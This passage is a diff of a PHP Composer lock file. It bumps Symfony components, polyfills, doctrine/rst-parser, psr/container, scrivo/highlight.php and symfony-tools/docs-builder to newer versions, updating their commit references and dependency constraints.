                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.4.4"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.5.2"
             },
-            "time": "2021-10-21T18:44:45+00:00"
+            "time": "2022-03-22T13:52:20+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.1.1",
+            "version": "1.1.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf"
+                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf",
-                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea",
+                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.0"
+                "php": ">=7.4.0"
             },
             "type": "library",
             "autoload": {
@@ -217,9 +217,9 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/1.1.1"
+                "source": "https://github.com/php-fig/container/tree/1.1.2"
             },
-            "time": "2021-03-05T17:36:06+00:00"
+            "time": "2021-11-05T16:50:12+00:00"
         },
         {
             "name": "psr/log",
@@ -273,16 +273,16 @@
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.8",
+            "version": "v9.18.1.9",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9"
+                "reference": "d45585504777e6194a91dffc7270ca39833787f8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6d5049cd2578e19a06adbb6ac77879089be1e3f9",
-                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/d45585504777e6194a91dffc7270ca39833787f8",
+                "reference": "d45585504777e6194a91dffc7270ca39833787f8",
                 "shasum": ""
             },
             "require": {
@@ -300,13 +300,13 @@
             },
             "type": "library",
             "autoload": {
+                "files": [
+                    "HighlightUtilities/functions.php"
+                ],
                 "psr-0": {
                     "Highlight\\": "",
                     "HighlightUtilities\\": ""
-                },
-                "files": [
-                    "HighlightUtilities/functions.php"
-                ]
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -347,41 +347,44 @@
                     "type": "github"
                 }
             ],
-            "time": "2021-10-24T00:28:14+00:00"
+            "time": "2021-12-03T06:45:28+00:00"
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.18.2",
+            "version": "v0.18.9",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "53632711147e08782e2be782d5cbe68109c497be"
+                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/53632711147e08782e2be782d5cbe68109c497be",
-                "reference": "53632711147e08782e2be782d5cbe68109c497be",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/1bc91f91887b115d78e7d2c8879c19af515b36ae",
+                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae",
                 "shasum": ""
             },
             "require": {
-                "doctrine/rst-parser": "^0.4",
+                "doctrine/rst-parser": "^0.5",
                 "ext-curl": "*",
                 "ext-json": "*",
-                "php": "^7.2 || ^8.0",
+                "php": ">=7.4",
                 "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^5.2",
-                "symfony/css-selector": "^5.2",
-                "symfony/dom-crawler": "^5.2",
-                "symfony/filesystem": "^5.2",
-                "symfony/finder": "^5.2",
-                "symfony/http-client": "^5.2",
+                "symfony/console": "^5.2 || ^6.0",
+                "symfony/css-selector": "^5.2 || ^6.0",
+                "symfony/dom-crawler": "^5.2 || ^6.0",
+                "symfony/filesystem": "^5.2 || ^6.0",
+                "symfony/finder": "^5.2 || ^6.0",
+                "symfony/http-client": "^5.2 || ^6.0",
                 "twig/twig": "^2.14 || ^3.3"
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^5.2",
-                "symfony/process": "^5.2"
+                "symfony/phpunit-bridge": "^5.2 || ^6.0",
+                "symfony/process": "^5.2 || ^6.0"
             },
+            "bin": [
+                "bin/docs-builder"
+            ],
             "type": "project",
             "autoload": {
                 "psr-4": {
@@ -395,34 +398,35 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.2"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.9"
             },
-            "time": "2021-10-15T07:59:06+00:00"
+            "time": "2022-03-22T14:32:49+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "5.4.x-dev",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29"
+                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
-                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
+                "url": "https://api.github.com/repos/symfony/console/zipball/ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
+                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php73": "^1.8",
+                "symfony/polyfill-php73": "^1.9",
                 "symfony/polyfill-php80": "^1.16",
-                "symfony/service-contracts": "^1.1|^2",
+                "symfony/service-contracts": "^1.1|^2|^3",
                 "symfony/string": "^5.1|^6.0"
             },
             "conflict": {
+                "psr/log": ">=3",
                 "symfony/dependency-injection": "<4.4",
                 "symfony/dotenv": "<5.1",
                 "symfony/event-dispatcher": "<4.4",
@@ -479,7 +483,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/5.4"
+                "source": "https://github.com/symfony/console/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -495,20 +499,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-03T09:24:47+00:00"
+            "time": "2022-04-12T16:02:29+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v5.3.4",
+            "version": "v5.4.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "7fb120adc7f600a59027775b224c13a33530dd90"
+                "reference": "b0a190285cd95cb019237851205b8140ef6e368e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/7fb120adc7f600a59027775b224c13a33530dd90",
-                "reference": "7fb120adc7f600a59027775b224c13a33530dd90",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/b0a190285cd95cb019237851205b8140ef6e368e",
+                "reference": "b0a190285cd95cb019237851205b8140ef6e368e",
                 "shasum": ""
             },
             "require": {
@@ -545,7 +549,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v5.3.4"
+                "source": "https://github.com/symfony/css-selector/tree/v5.4.3"
             },
             "funding": [
                 {
@@ -561,20 +565,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-07-21T12:38:00+00:00"
+            "time": "2022-01-02T09:53:40+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627"
+                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/5f38c8804a9e97d23e0c8d63341088cd8a22d627",
-                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
+                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
                 "shasum": ""
             },
             "require": {
@@ -583,7 +587,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -612,7 +616,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -628,25 +632,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-23T23:28:01+00:00"
+            "time": "2022-01-02T09:53:40+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v5.3.7",
+            "version": "v5.4.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c"
+                "reference": "c0bda97480d96337bd3866026159a8b358665457"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
-                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c0bda97480d96337bd3866026159a8b358665457",
+                "reference": "c0bda97480d96337bd3866026159a8b358665457",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php80": "^1.16"
@@ -656,7 +660,7 @@
             },
             "require-dev": {
                 "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^4.4|^5.0"
+                "symfony/css-selector": "^4.4|^5.0|^6.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
@@ -687,7 +691,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v5.3.7"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.4.6"
             },
             "funding": [
                 {
@@ -703,25 +707,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-08-29T19:32:13+00:00"
+            "time": "2022-03-02T12:42:23+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v5.3.4",
+            "version": "v5.4.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32"
+                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/343f4fe324383ca46792cae728a3b6e2f708fb32",
-                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/3a4442138d80c9f7b600fb297534ac718b61d37f",
+                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
                 "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-mbstring": "~1.8",
                 "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
@@ -750,7 +755,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v5.3.4"
+                "source": "https://github.com/symfony/filesystem/tree/v5.4.7"
             },
             "funding": [
                 {
@@ -766,24 +771,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-07-21T12:40:44+00:00"
+            "time": "2022-04-01T12:33:59+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v5.3.7",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93"
+                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
-                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/9b630f3427f3ebe7cd346c277a1408b00249dad9",
+                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
@@ -812,7 +818,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v5.3.7"
+                "source": "https://github.com/symfony/finder/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -828,30 +834,30 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-08-04T21:20:46+00:00"
+            "time": "2022-04-15T08:07:45+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v5.3.10",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc"
+                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
-                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
+                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
                 "psr/log": "^1|^2|^3",
-                "symfony/deprecation-contracts": "^2.1",
+                "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/http-client-contracts": "^2.4",
                 "symfony/polyfill-php73": "^1.11",
                 "symfony/polyfill-php80": "^1.16",
-                "symfony/service-contracts": "^1.0|^2"
+                "symfony/service-contracts": "^1.0|^2|^3"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
@@ -868,10 +874,10 @@
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.4|^5.0",
-                "symfony/http-kernel": "^4.4.13|^5.1.5",
-                "symfony/process": "^4.4|^5.0",
-                "symfony/stopwatch": "^4.4|^5.0"
+                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
+                "symfony/http-kernel": "^4.4.13|^5.1.5|^6.0",
+                "symfony/process": "^4.4|^5.0|^6.0",
+                "symfony/stopwatch": "^4.4|^5.0|^6.0"
             },
             "type": "library",
             "autoload": {
@@ -899,7 +905,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v5.3.10"
+                "source": "https://github.com/symfony/http-client/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -915,20 +921,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-10-19T08:32:53+00:00"
+            "time": "2022-04-12T16:02:29+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4"
+                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
-                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/1a4f708e4e87f335d1b1be6148060739152f0bd5",
+                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5",
                 "shasum": ""
             },
             "require": {
@@ -940,7 +946,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -977,7 +983,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -993,25 +999,28 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-04-11T23:07:08+00:00"
+            "time": "2022-03-13T20:07:29+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.23.0",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce"
+                "reference": "30885182c981ab175d4d034db0f6f469898070ab"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/46cd95797e9df938fdd2b03693b5fca5e64b01ce",
-                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/30885182c981ab175d4d034db0f6f469898070ab",
+                "reference": "30885182c981ab175d4d034db0f6f469898070ab",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1"
             },
+            "provide": {
+                "ext-ctype": "*"
+            },
             "suggest": {
                 "ext-ctype": "For best performance"
             },
@@ -1026,12 +1035,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Ctype\\": ""
-                },
                 "files": [
                     "bootstrap.php"
-                ]
+                ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Ctype\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1056,7 +1065,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.23.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1072,20 +1081,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-19T12:13:01+00:00"
+            "time": "2021-10-20T20:35:02+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.23.1",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535"
+                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/16880ba9c5ebe3642d1995ab866db29270b36535",
-                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/81b86b50cf841a64252b439e738e97f4a34e2783",
+                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783",
                 "shasum": ""
             },
             "require": {
@@ -1105,12 +1114,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
-                },
                 "files": [
                     "bootstrap.php"
-                ]
+                ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1137,7 +1146,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.23.1"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1153,11 +1162,11 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-05-27T12:26:48+00:00"
+            "time": "2021-11-23T21:10:46+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.23.0",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
@@ -1186,12 +1195,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Normalizer\\": ""
-                },
                 "files": [
                     "bootstrap.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Intl\\Normalizer\\": ""
+                },
                 "classmap": [
                     "Resources/stubs"
                 ]
@@ -1221,7 +1230,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.23.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1241,21 +1250,24 @@
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.23.1",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6"
+                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6",
-                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/0abb51d2f102e00a4eefcf46ba7fec406d245825",
+                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1"
             },
+            "provide": {
+                "ext-mbstring": "*"
+            },
             "suggest": {
                 "ext-mbstring": "For best performance"
             },
@@ -1270,12 +1282,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Mbstring\\": ""
-                },
                 "files": [
                     "bootstrap.php"
-                ]
+                ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Mbstring\\": ""
+                }
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1301,7 +1313,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1317,20 +1329,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-05-27T12:26:48+00:00"
+            "time": "2021-11-30T18:21:41+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "v1.23.0",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010"
+                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/fba8933c384d6476ab14fb7b8526e5287ca7e010",
-                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/cc5db0e22b3cb4111010e48785a97f670b350ca5",
+                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5",
                 "shasum": ""
             },
             "require": {
@@ -1347,12 +1359,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php73\\": ""
-                },
                 "files": [
                     "bootstrap.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php73\\": ""
+                },
                 "classmap": [
                     "Resources/stubs"
                 ]
@@ -1380,7 +1392,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.23.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1396,20 +1408,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-19T12:13:01+00:00"
+            "time": "2021-06-05T21:20:04+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.23.1",
+            "version": "v1.25.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be"
+                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be",
-                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/4407588e0d3f1f52efb65fbe92babe41f37fe50c",
+                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c",
                 "shasum": ""
             },
             "require": {
@@ -1426,12 +1438,12 @@
                 }
             },
             "autoload": {
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php80\\": ""
-                },
                 "files": [
                     "bootstrap.php"
                 ],
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php80\\": ""
+                },
                 "classmap": [
                     "Resources/stubs"
                 ]
@@ -1463,7 +1475,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.25.0"
             },
             "funding": [
                 {
@@ -1479,20 +1491,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-07-28T13:41:28+00:00"
+            "time": "2022-03-04T08:16:47+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "5.4.x-dev",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f"
+                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/6bacc79268fb8a2fac52c9f66afe5e041220233f",
-                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f",
+                "url": "https://api.github.com/repos/symfony/process/zipball/597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
+                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
                 "shasum": ""
             },
             "require": {
@@ -1525,7 +1537,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/5.4"
+                "source": "https://github.com/symfony/process/tree/v5.4.8"
             },
             "funding": [
                 {
@@ -1541,25 +1553,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-03T09:24:47+00:00"
+            "time": "2022-04-08T05:07:18+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v2.4.0",
+            "version": "v2.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb"
+                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
-                "reference": "f040a30e04b57fbcc9c6cbcf4dbaa96bd318b9bb",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
+                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "psr/container": "^1.1"
+                "psr/container": "^1.1",
+                "symfony/deprecation-contracts": "^2.1|^3"
+            },
+            "conflict": {
+                "ext-psr": "<1.1|>=2"
             },
             "suggest": {
                 "symfony/service-implementation": ""
@@ -1567,7 +1583,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.4-dev"
+                    "dev-main": "2.5-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1604,7 +1620,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v2.4.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v2.5.1"
             },
             "funding": [
                 {
@@ -1620,20 +1636,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-04-01T10:43:52+00:00"
+            "time": "2022-03-13T20:07:29+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v5.3.10",
+            "version": "v5.4.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c"
+                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8"
             },
             "dist": {
                 "type": "zip",
